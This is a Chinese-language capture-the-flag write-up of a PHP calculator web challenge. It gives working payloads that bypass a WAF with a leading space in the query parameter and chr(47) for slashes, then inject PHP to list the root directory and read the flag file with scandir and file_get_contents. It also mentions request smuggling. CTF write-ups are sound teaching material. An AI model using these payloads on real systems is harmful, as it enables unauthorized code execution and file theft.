一、解题步骤
(1)发现了一个可以得到计算结果的输入框,说明这题可能是一道命令执行,或者注入题目,我们输几个数字发现可以得到正确答案,但输入字母就会报错。我们看一下html源码,进行代码审计
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>简单的计算器</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="./libs/bootstrap.min.css">
<script src="./libs/jquery-3.3.1.min.js"></script>
<script src="./libs/bootstrap.min.js"></script>
</head>
<body>
<div class="container text-center" style="margin-top:30px;">
<h2>表达式</h2>
<form id="calc">
<div class="form-group">
<input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
</div>
<div id="result"><div class="alert alert-success">
</div></div>
<button type="submit" class="btn btn-primary">计算</button>
</form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
</body></html>
①这里提示了题目设置了WAF(网站应用级入侵防御系统)说明我们需要绕过WAF的过滤,可能就是WAF的缘故导致无法识别英文字母
<!--I've set up WAF to ensure security.-->
②发现一句url的提示代码:
calc.php?num=encodeURIComponent($("#content").val()) type:'GET'
代码解释:
访问calc.php的页面并用get的传参方式传一个num=这里理解为要执行的命令(并且命令被URL编码)
(2)我们访问/calc.php,发现需要我们GET传参一个num,设置了黑名单(blacklist)过滤,正则匹配(preg_match)出现“/”就报错
(3)进行waf绕过,首先我们知道了php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。以此先来查看题目php服务器的相关配置信息(phpinfo)
http://node3.buuoj.cn:27447/calc.php? num=phpinfo();
(4)因为本题涉及过滤,所以我们查看一下禁用的函数(disable_functions)发现system()等好多PHP执行系统外部命令函数都被禁用
(5)我们用file_get_contents()函数来代替system(),本题若匹配到“/”也会报错,因此查看根目录文件时需要用chr(47)来绕过,发现了f1agg文件
构造payload:
/calc.php? num=var_dump(scandir(chr(47)))
(6)接下里我们需要cat f1agg,本题因为没有过滤掉f1agg,所以不用chr()编码
构造payload:
/calc.php? num=var_dump(file_get_contents(chr(47).f1agg))
二、知识点总结
1.CTF中查看phpinfo时需要关注的点
2.PHP中执行外部命令的函数
3.PHP字符解析特性
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
4.绕过时使用到的PHP函数
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现:
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,可以替代system('ls;') scandir() 函数返回指定目录中的文件和目录的数组
calc() 函数是CSS语言里的函数,常用于计算,任何长度值都可以使用calc()函数进行计算;calc()函数支持 "+", "-", "*", "/" 运算;calc()函数使用标准的数学运算优先级规则;
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码
5.WAF绕过
num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉再解析,这样我们的代码既能正常运行,又可以利用这点来上传非法字符。
大佬的智慧门
6.修改Content-Length长度
(HTTP数据接收不同步攻击)